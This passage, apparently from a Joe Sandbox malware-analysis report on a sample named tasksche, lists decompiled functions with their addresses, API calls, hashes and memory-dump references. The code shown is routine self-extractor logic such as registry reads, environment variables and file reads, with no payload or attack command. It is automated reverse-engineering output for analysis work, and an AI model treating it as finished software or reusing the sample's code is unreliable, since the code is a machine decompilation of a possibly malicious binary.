				return _t22;
			}

0x0040db1e
0x0040db2a
0x0040db3a
0x0040db51
0x0040db5a
0x0040db77
0x0040db86
0x0040db88
0x0040db8b
0x0040db93
0x0040db95
0x0040db95
0x0040db9d
0x0040dbaf
0x0040dbaf
0x00000000
0x0040dbb7
0x0040db5a
0x0040dbbe

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegOpenKeyExW.KERNELBASE(80000001,Software\WinRAR SFX,00000000,00000001,?,?), ref: 0040DB51
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?), ref: 0040DB7E
RegCloseKey.ADVAPI32(?), ref: 0040DBB7

Strings

Software\WinRAR SFX, xrefs: 0040DB47

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CloseOpenQueryValue_wcscpy
String ID: Software\WinRAR SFX
API String ID: 2005349754-754673328
Opcode ID: 5a2b69c89800e9bdd399ce0e9e4a259883a1022fe18fb91a4a4725133ef4c013
Instruction ID: 4c76dbbd45d9bc8f01a1638326186229006e98cd85c276784524804615dea21e
Opcode Fuzzy Hash: 5a2b69c89800e9bdd399ce0e9e4a259883a1022fe18fb91a4a4725133ef4c013
Instruction Fuzzy Hash: 29110635A0020CEBEF219F90DD45FDE7BB8EF04345F5040B6B905A2191D7B8AA94DB69

Uniqueness

Uniqueness Score: -1.00%

Function 004050E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?), ref: 004050F5
SHBrowseForFolderW.SHELL32(?), ref: 00405130

Strings

A, xrefs: 00405129

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: BrowseFolderMalloc
String ID: A
API String ID: 3812826013-3554254475
Opcode ID: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction ID: 7c691baa3b27f7502734ebd35b11d26621297010b335108cc4fc530f71bfb90e
Opcode Fuzzy Hash: 38b49180d38aa256d497848d66ef1996a2da1d611468f43139da5b44fce9136b
Instruction Fuzzy Hash: F0010572900619EBDB11CFA4D909BEF7BF8EF49311F204466E805EB240D779DA058FA5

Uniqueness

Uniqueness Score: -1.00%

Function 00419CB2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00419CB2(long _a4) {
				short _v164;
				long _t5;
				long _t6;
				long _t8;
				WCHAR* _t10;

				_t8 = _a4;
				_t5 = GetClassNameW(_t8,  &_v164, 0x50);
				if(_t5 != 0) {
					_t10 = L"EDIT";
					_t5 = E00411E60( &_v164, _t10);
					if(_t5 != 0) {
						_t5 = FindWindowExW(_t8, 0, _t10, 0); // executed
						_t8 = _t5;
					}
				}
				if(_t8 != 0) {
					_t6 = SHAutoComplete(_t8, 0x10); // executed
					return _t6;
				}
				return _t5;
			}

0x00419cbc
0x00419cc9
0x00419cd1
0x00419cd4
0x00419ce1
0x00419ce8
0x00419cf0
0x00419cf6
0x00419cf6
0x00419cf8
0x00419cfb
0x00419d00
0x00000000
0x00419d00
0x00419d08

APIs

GetClassNameW.USER32 ref: 00419CC9
SHAutoComplete.SHLWAPI(?,00000010), ref: 00419D00

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409CA8,?,00000000,?,00409DC2,00000000,-00000002,?,00000000,?), ref: 00411E76

FindWindowExW.USER32(?,00000000,EDIT,00000000), ref: 00419CF0

Strings

EDIT, xrefs: 00419CD4, 00419CD9, 00419CEC

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction ID: c03662b206b47bf0f9187f3c1687b62eae72e09aaad69f108c393d7fbd584eff
Opcode Fuzzy Hash: b027ed5b97d113a91e8e700dc85ec23dd11054ff1df16afbaa6f3d453c1c9159
Instruction Fuzzy Hash: 3CF0E232300219BBDB305A15AD05FEB36BC9F86B40F840066FE01E2280EB68D84285BA

Uniqueness

Uniqueness Score: -1.00%

Function 0040D5F7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 87%

			E0040D5F7(void* __eflags, WCHAR* _a4) {
				char _v2052;
				WCHAR* _t6;
				int _t9;
				WCHAR* _t10;
				void* _t13;

				_t13 = __eflags;
				SetEnvironmentVariableW(L"sfxcmd", _a4);
				_t6 = E00410C58(_t13, _a4,  &_v2052, 0x400);
				_t10 = _t6;
				if(_t10 != 0) {
					while(E00410B7F( *_t10 & 0x0000ffff) != 0) {
						_t10 =  &(_t10[1]);
						__eflags = _t10;
					}
					_t9 = SetEnvironmentVariableW(L"sfxpar", _t10); // executed
					return _t9;
				}
				return _t6;
			}

0x0040d5f7
0x0040d610
0x0040d621
0x0040d626
0x0040d62a
0x0040d630
0x0040d62f
0x0040d62f
0x0040d62f
0x0040d643
0x00000000
0x0040d643
0x0040d648

APIs

SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0040D610
SetEnvironmentVariableW.KERNELBASE(sfxpar,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

Strings

sfxpar, xrefs: 0040D63E
sfxcmd, xrefs: 0040D60B

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
Instruction ID: 209d7830a902f923c059ddcb8ccd8c76eadbb62e41e0a08ffeb6939b57d6bf06
Opcode Fuzzy Hash: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
Instruction Fuzzy Hash: 29E0EC3660011437CA102A969C01EBB7A6CDBC1744F1000337E48A2080E979D89E8BED

Uniqueness

Uniqueness Score: -1.00%

Function 004087C3 Relevance: 6.1, APIs: 4, Instructions: 104
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E004087C3(void* __ecx, long _a4, long _a8, short _a12, WCHAR* _a4112, unsigned int _a4116) {
				long _v0;
				unsigned int _t34;
				long _t37;
				void* _t38;
				long _t46;
				signed int _t47;
				signed int _t48;
				intOrPtr _t50;
				long _t54;
				intOrPtr _t55;
				long _t62;
				void* _t63;
				void* _t66;

				E0041AAF0(0x100c);
				_t34 = _a4116;
				_t63 = __ecx;
				 *((intOrPtr*)(__ecx + 0x1020)) = 0;
				if( *((char*)(__ecx + 0x1c)) != 0 || (_t34 & 0x00000004) != 0) {
					_t50 = 1;
				} else {
					_t50 = 0;
				}
				asm("sbb edi, edi");
				_t62 = ( ~(_t34 >> 0x00000001 & 1) & 0xc0000000) + 0x80000000;
				if((_t34 & 0x00000001) != 0) {
					_t62 = _t62 | 0x40000000;
				}
				_t37 =  !(_t34 >> 3) & 0x00000001;
				_v0 = _t37;
				if(_t50 != 0) {
					_t37 = _t37 | 0x00000002;
					_v0 = _t37;
				}
				_t47 = CreateFileW;
				_t54 = (0 |  *((intOrPtr*)(_t63 + 0x15)) != 0x00000000) - 0x00000001 & 0x08000000;
				_a8 = _t54;
				_t38 = CreateFileW(_a4112, _t62, _t37, 0, 3, _t54, 0); // executed
				_t66 = _t38;
				if(_t66 != 0xffffffff) {
					L15:
					 *(_t63 + 0xc) =  *(_t63 + 0xc) & 0x00000000;
					_t48 = _t47 & 0xffffff00 | _t66 != 0xffffffff;
					 *((char*)(_t63 + 0x12)) = 0;
					 *((char*)(_t63 + 0x10)) = 0;
					if(_t48 != 0) {
						 *(_t63 + 4) = _t66;
						E00410B9C(_t63 + 0x1e, _a4112, 0x800);
					}
					return _t48;
				} else {
					_a4 = GetLastError();
					if(E0040A3DC(_a4112,  &_a12, 0x800) == 0) {
						L13:
						if(_a4 == 2) {
							 *((intOrPtr*)(_t63 + 0x1020)) = 1;
						}
						goto L15;
					}
					_t66 = CreateFileW( &_a12, _t62, _v0, 0, 3, _a8, 0);
					_t46 = GetLastError();
					_t55 = 2;
					if(_t46 == _t55) {
						_a4 = _t55;
					}
					if(_t66 != 0xffffffff) {
						goto L15;
					} else {
						goto L13;
					}
				}
			}

0x004087c8
0x004087cd
0x004087d7
0x004087e0
0x004087e6
0x004087f0
0x004087ec
0x004087ec
0x004087ec
0x004087fe
0x00408806
0x0040880e
0x00408810
0x00408810
0x0040881b
0x0040881e
0x00408824
0x00408826
0x00408829
0x00408829
0x00408832
0x0040883d
0x00408850
0x00408854
0x00408856
0x0040885b
0x004088c0
0x004088c0
0x004088c7
0x004088ca
0x004088ce
0x004088d4
0x004088e2
0x004088e9
0x004088e9
0x004088fa
0x0040885d
0x00408863
0x0040887f
0x004088af
0x004088b4
0x004088b6
0x004088b6
0x00000000
0x004088b4
0x00408897
0x00408899
0x004088a1
0x004088a4
0x004088a6
0x004088a6
0x004088ad
0x00000000
0x00000000
0x00000000
0x00000000
0x004088ad

APIs

CreateFileW.KERNELBASE(?,-7FFFF7FE,?,00000000,00000003,-00000001,00000000,00000802,00000000,?,00000000,00406E59,00000000,00000005,?,00000011), ref: 00408854
GetLastError.KERNEL32(?,00000000,00406E59,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 0040885D
CreateFileW.KERNEL32(?,-7FFFF7FE,?,00000000,00000003,00000000,00000000,?,?,00000800,?,00000000,00406E59,00000000,00000005,?), ref: 00408895
GetLastError.KERNEL32(?,00000000,00406E59,00000000,00000005,?,00000011,00000000,?,00000000,?,0000003A,00000802,?,00000000,00000802), ref: 00408899

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CreateErrorFileLast
String ID:
API String ID: 1214770103-0
Opcode ID: 4d3b36c18a63bf9a6cb3bb75dabf04ddc5da56a9a0870096324c8bcc010d085f
Instruction ID: e5fec55928a071c2e3d1b6f10086eb5e0cd4d8e33465c7e2028d9d916ffc9c2f
Opcode Fuzzy Hash: 4d3b36c18a63bf9a6cb3bb75dabf04ddc5da56a9a0870096324c8bcc010d085f
Instruction Fuzzy Hash: 083169725047449BE7309B20CD05BEB77D4AB80318F104A2EF9D0A33C2DBBE9548D75A

Uniqueness

Uniqueness Score: -1.00%

Function 00401822 Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401822(intOrPtr __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __ebx;
				signed int _t69;
				signed int _t70;
				intOrPtr _t71;
				intOrPtr _t81;
				intOrPtr _t92;
				void* _t93;
				intOrPtr _t96;
				void* _t98;
				void* _t103;

				_t103 = __eflags;
				_t94 = __edi;
				_t93 = __edx;
				E0041A4DC(E00429548, _t98);
				_push(__ecx);
				_t96 = __ecx;
				 *((intOrPtr*)(_t98 - 0x10)) = __ecx;
				E00408786(__ecx);
				 *((intOrPtr*)(_t98 - 4)) = 0;
				 *((intOrPtr*)(__ecx)) = 0x42a478;
				E00405F3C(__ecx + 0x1024, _t103);
				 *((char*)(_t98 - 4)) = 1;
				E0040B8E3(__ecx + 0x20e8, _t103);
				 *((intOrPtr*)(__ecx + 0x6538)) = 0;
				 *((intOrPtr*)(__ecx + 0x653c)) = 0;
				E004013DD(__ecx + 0x65e8);
				_t69 = E004013DD(__ecx + 0x8928);
				 *((char*)(_t98 - 4)) = 4;
				_t70 = _t69 & 0xffffff00 |  *((intOrPtr*)(_t98 + 8)) == 0x00000000;
				 *((intOrPtr*)(__ecx + 0x6524)) = 0;
				 *(__ecx + 0x6520) = _t70;
				_t105 = _t70;
				if(_t70 == 0) {
					_t71 =  *((intOrPtr*)(_t98 + 8));
				} else {
					_push(0x72a8); // executed
					_t81 = E0041A89A(0, _t93, __edi, _t105); // executed
					_t92 = _t81;
					 *((intOrPtr*)(_t98 + 8)) = _t92;
					 *((char*)(_t98 - 4)) = 5;
					if(_t92 == 0) {
						_t71 = 0;
					} else {
						_t71 = E0040A026(_t92, __edi); // executed
					}
				}
				 *((intOrPtr*)(_t96 + 0x6524)) = _t71;
				 *(_t96 + 0x6528) =  *(_t96 + 0x6528) | 0xffffffff;
				 *(_t96 + 0x652c) =  *(_t96 + 0x652c) | 0xffffffff;
				 *(_t96 + 0x6530) =  *(_t96 + 0x6530) | 0xffffffff;
				 *((char*)(_t96 + 0x1c)) =  *((intOrPtr*)(_t71 + 0x5195));
				 *((intOrPtr*)(_t96 + 0xb050)) = 2;
				 *((char*)(_t96 + 0xb054)) = 0;
				 *((char*)(_t96 + 0xb055)) = 0;
				 *((char*)(_t96 + 0xb056)) = 0;
				 *((char*)(_t96 + 0xb057)) = 0;
				 *((char*)(_t96 + 0xb058)) = 0;
				 *((char*)(_t96 + 0xb059)) = 0;
				 *((char*)(_t96 + 0xb05a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb060)) = 0;
				 *((intOrPtr*)(_t96 + 0x6538)) = 0;
				 *((intOrPtr*)(_t96 + 0x653c)) = 0;
				 *((char*)(_t96 + 0xb05b)) = 0;
				 *((char*)(_t96 + 0xb05c)) = 0;
				 *((char*)(_t96 + 0xb065)) = 0;
				 *((char*)(_t96 + 0xb064)) = 0;
				 *((intOrPtr*)(_t96 + 0x6540)) = 0;
				 *((intOrPtr*)(_t96 + 0xb040)) = 0;
				 *((intOrPtr*)(_t96 + 0xb044)) = 0;
				 *((intOrPtr*)(_t96 + 0xb048)) = 0;
				 *((intOrPtr*)(_t96 + 0xb04c)) = 0;
				E0041A820(_t94, _t96 + 0x6570, 0, 0x40);
				E0041A820(_t94, _t96 + 0x65b0, 0, 0x34);
				E0041A820(_t94, _t96 + 0x88e8, 0, 0x20);
				 *((short*)(_t96 + 0xb09a)) = 0;
				 *((intOrPtr*)(_t96 + 0xb078)) = 0;
				 *((intOrPtr*)(_t96 + 0xb080)) = 0;
				 *((intOrPtr*)(_t96 + 0xb084)) = 0;
				 *((intOrPtr*)(_t96 + 0xb088)) = 0;
				 *((intOrPtr*)(_t96 + 0xb08c)) = 0;
				 *((intOrPtr*)(_t96 + 0xb090)) = 0;
				 *((intOrPtr*)(_t96 + 0xb094)) = 0;
				 *((char*)(_t96 + 0xb076)) = 0;
				 *((char*)(_t96 + 0xb098)) = 0;
				 *((char*)(_t96 + 0x6548)) = 0;
				 *[fs:0x0] =  *((intOrPtr*)(_t98 - 0xc));
				return _t96;
			}

0x00401822
0x00401822
0x00401822
0x00401827
0x0040182c
0x0040182f
0x00401831
0x00401834
0x00401841
0x00401844
0x0040184a
0x00401855
0x00401859
0x00401864
0x0040186a
0x00401870
0x0040187b
0x00401883
0x00401887
0x0040188a
0x00401890
0x00401896
0x00401898
0x004018bd
0x0040189a
0x0040189a
0x0040189f
0x004018a5
0x004018a7
0x004018aa
0x004018b0
0x004018b9
0x004018b2
0x004018b2
0x004018b2
0x004018b0
0x004018c0
0x004018cc
0x004018d3
0x004018da
0x004018e3
0x004018ee
0x004018f8
0x004018fe
0x00401904
0x0040190a
0x00401910
0x00401916
0x0040191c
0x00401922
0x00401928
0x0040192e
0x00401934
0x0040193a
0x00401940
0x00401946
0x0040194c
0x00401952
0x00401958
0x0040195e
0x00401964
0x0040196a
0x00401979
0x00401988
0x00401995
0x0040199c
0x004019a2
0x004019a8
0x004019ae
0x004019b4
0x004019ba
0x004019c0
0x004019c6
0x004019cc
0x004019d2
0x004019dc
0x004019e4

APIs

__EH_prolog.LIBCMT ref: 00401827

Part of subcall function 00405F3C: __EH_prolog.LIBCMT ref: 00405F41
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FA4
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FB0
Part of subcall function 00405F3C: _memset.LIBCMT ref: 00405FCE

Part of subcall function 0040B8E3: __EH_prolog.LIBCMT ref: 0040B8E8

_memset.LIBCMT ref: 0040196A
_memset.LIBCMT ref: 00401979
_memset.LIBCMT ref: 00401988

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog$_malloc
String ID:
API String ID: 4233843809-0
Opcode ID: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction ID: 211b101a5e2dbba32f2c8dae62910ed897794103f7d8a7f2ed724c9505602145
Opcode Fuzzy Hash: 89f10ec8c43f5c59ed1e48a3837198038f2aefdd0a2d009fb04471144bad9c18
Instruction Fuzzy Hash: 865127B1445F809EC321DF7988916D7FFE0AF29314F84496E91FE93282D7352658CB29

Uniqueness

Uniqueness Score: -1.00%

Function 00413CE8 Relevance: 6.1, APIs: 4, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00413CE8(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t34;
				signed int _t35;
				signed int* _t41;
				signed int _t42;
				signed int _t44;
				intOrPtr _t46;
				void* _t67;
				signed int _t72;
				intOrPtr* _t73;
				void* _t75;
				void* _t77;
				signed int _t81;

				_t34 = E0041A4DC(E0042980D, _t75);
				_push(__ecx);
				_push(__ecx);
				_t67 = __ecx;
				_t80 =  *((intOrPtr*)(__ecx + 0x20));
				if( *((intOrPtr*)(__ecx + 0x20)) == 0) {
					_push(0x400400); // executed
					_t46 = E0041A0EA(0, __edx, __ecx, _t80); // executed
					 *((intOrPtr*)(_t67 + 0x20)) = _t46;
					_t34 = E0041A820(_t67, _t46, 0, 0x400400);
					_t77 = _t77 + 0x10;
				}
				_t81 =  *(_t67 + 0x18);
				if(_t81 != 0) {
					L12:
					 *[fs:0x0] =  *((intOrPtr*)(_t75 - 0xc));
					return _t34;
				} else {
					_t72 =  *((intOrPtr*)(_t67 + 0x1c)) +  *((intOrPtr*)(_t67 + 0x1c));
					_t35 = _t72;
					_t65 = _t35 * 0x4ae4 >> 0x20;
					_push( ~(0 | _t81 > 0x00000000) | ( ~(0 | _t81 > 0x00000000) | _t35 * 0x00004ae4) + 0x00000004); // executed
					_t41 = E0041A0EA(0x4ae4, _t35 * 0x4ae4 >> 0x20, _t67, _t81); // executed
					 *(_t75 - 0x10) = _t41;
					 *(_t75 - 4) =  *(_t75 - 4) & 0x00000000;
					_t82 = _t41;
					if(_t41 == 0) {
						_t42 = 0;
						__eflags = 0;
					} else {
						_push(E00412B7D);
						_push(E00412B65);
						_push(_t72);
						 *_t41 = _t72;
						_t44 =  &(_t41[1]);
						_push(0x4ae4);
						_push(_t44);
						 *(_t75 - 0x14) = _t44;
						E0041C6B6(_t72, _t82);
						_t42 =  *(_t75 - 0x14);
					}
					 *(_t75 - 4) =  *(_t75 - 4) | 0xffffffff;
					 *(_t67 + 0x18) = _t42;
					_t34 = E0041A820(_t67, _t42, 0, _t72 * 0x4ae4);
					if(_t72 > 0) {
						 *(_t75 - 0x10) =  *(_t75 - 0x10) & 0x00000000;
						 *(_t75 - 0x14) = _t72;
						do {
							_t34 =  *(_t67 + 0x18) +  *(_t75 - 0x10);
							_t26 = _t34 + 0x4ad4; // 0x4ad4
							_t73 = _t26;
							if( *_t73 == 0) {
								 *((intOrPtr*)(_t34 + 0x4adc)) = 0x4100;
								_t34 = E0041CF3E(0x4ae4, _t65, _t67, 0x30c00); // executed
								 *_t73 = _t34;
								if(_t34 == 0) {
									_t34 = E004063CE(0x4335ac);
								}
							}
							 *(_t75 - 0x10) =  *(_t75 - 0x10) + 0x4ae4;
							_t30 = _t75 - 0x14;
							 *_t30 =  *(_t75 - 0x14) - 1;
						} while ( *_t30 != 0);
					}
					goto L12;
				}
			}

0x00413ced
0x00413cf2
0x00413cf3
0x00413cf7
0x00413cfb
0x00413cfe
0x00413d05
0x00413d06
0x00413d0e
0x00413d11
0x00413d16
0x00413d16
0x00413d19
0x00413d1c
0x00413dde
0x00413de4
0x00413dec
0x00413d22
0x00413d25
0x00413d2e
0x00413d32
0x00413d47
0x00413d48
0x00413d4e
0x00413d51
0x00413d55
0x00413d57
0x00413d78
0x00413d78
0x00413d59
0x00413d59
0x00413d5e
0x00413d63
0x00413d64
0x00413d66
0x00413d69
0x00413d6a
0x00413d6b
0x00413d6e
0x00413d73
0x00413d73
0x00413d7a
0x00413d8a
0x00413d8d
0x00413d97
0x00413d99
0x00413d9d
0x00413da0
0x00413da3
0x00413da6
0x00413da6
0x00413daf
0x00413db6
0x00413dc0
0x00413dc6
0x00413dca
0x00413dd1
0x00413dd1
0x00413dca
0x00413dd6
0x00413dd9
0x00413dd9
0x00413dd9
0x00413da0
0x00000000
0x00413d97

APIs

__EH_prolog.LIBCMT ref: 00413CED
_memset.LIBCMT ref: 00413D11
_memset.LIBCMT ref: 00413D8D
_malloc.LIBCMT ref: 00413DC0

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset$H_prolog_malloc
String ID:
API String ID: 1600808285-0
Opcode ID: f9e7b2a6a83c73fc1ba99619ebe61da21776ee40c69ad0e57b9b97bafc6a76b5
Instruction ID: 702ce421a693160a9893d7f58a622c69960126b9ff2eeb296b605b135dd4a1ff
Opcode Fuzzy Hash: f9e7b2a6a83c73fc1ba99619ebe61da21776ee40c69ad0e57b9b97bafc6a76b5
Instruction Fuzzy Hash: F831D4B1E01215ABDB14AF65D9057EB76A8FF14319F10013FE105E7281E7789E9087ED

Uniqueness

Uniqueness Score: -1.00%

Function 00408CA0 Relevance: 6.1, APIs: 4, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00408CA0(void* __ecx, void* _a4, long _a8) {
				long _v8;
				int _t14;
				signed int _t15;
				void* _t28;

				_push(__ecx);
				_t28 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xc)) == 1) {
					 *(_t28 + 4) = GetStdHandle(0xfffffff6);
				}
				_t14 = ReadFile( *(_t28 + 4), _a4, _a8,  &_v8, 0); // executed
				if(_t14 != 0) {
					_t15 = _v8;
				} else {
					_t16 = E00408C5A(_t28);
					if(_t16 == 0) {
						L7:
						if( *((intOrPtr*)(_t28 + 0xc)) != 1) {
							L10:
							if( *((intOrPtr*)(_t28 + 0xc)) != 0 || _a8 <= 0x8000) {
								L14:
								_t15 = _t16 | 0xffffffff;
							} else {
								_t16 = GetLastError();
								if(_t16 != 0x21) {
									goto L14;
								} else {
									_push(0x8000);
									goto L6;
								}
							}
						} else {
							_t16 = GetLastError();
							if(_t16 != 0x6d) {
								goto L10;
							} else {
								_t15 = 0;
							}
						}
					} else {
						_t16 = 0x4e20;
						if(_a8 <= 0x4e20) {
							goto L7;
						} else {
							_push(0x4e20);
							L6:
							_push(_a4);
							_t15 = E00408CA0(_t28);
						}
					}
				}
				return _t15;
			}

0x00408ca3
0x00408ca6
0x00408cad
0x00408cb7
0x00408cb7
0x00408cc9
0x00408cd1
0x00408d2b
0x00408cd3
0x00408cd5
0x00408cdc
0x00408cf5
0x00408cff
0x00408d0c
0x00408d10
0x00408d26
0x00408d26
0x00408d1c
0x00408d1c
0x00408d21
0x00000000
0x00408d23
0x00408d23
0x00000000
0x00408d23
0x00408d21
0x00408d01
0x00408d01
0x00408d06
0x00000000
0x00408d08
0x00408d08
0x00408d08
0x00408d06
0x00408cde
0x00408cde
0x00408ce6
0x00000000
0x00408ce8
0x00408ce8
0x00408ce9
0x00408ce9
0x00408cee
0x00408cee
0x00408ce6
0x00408cdc
0x00408d32

APIs

GetStdHandle.KERNEL32(000000F6,004335AC,?,00000000,?,?,00408EB0,?,00000000,?,?,00000000), ref: 00408CB1
ReadFile.KERNELBASE(?,?,?,00000000,00000000,004335AC,?,00000000,?,?,00408EB0,?,00000000,?,?,00000000), ref: 00408CC9
GetLastError.KERNEL32(?,00408EB0,?,00000000,?,?,00000000), ref: 00408D01
GetLastError.KERNEL32(?,00408EB0,?,00000000,?,?,00000000), ref: 00408D1C

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

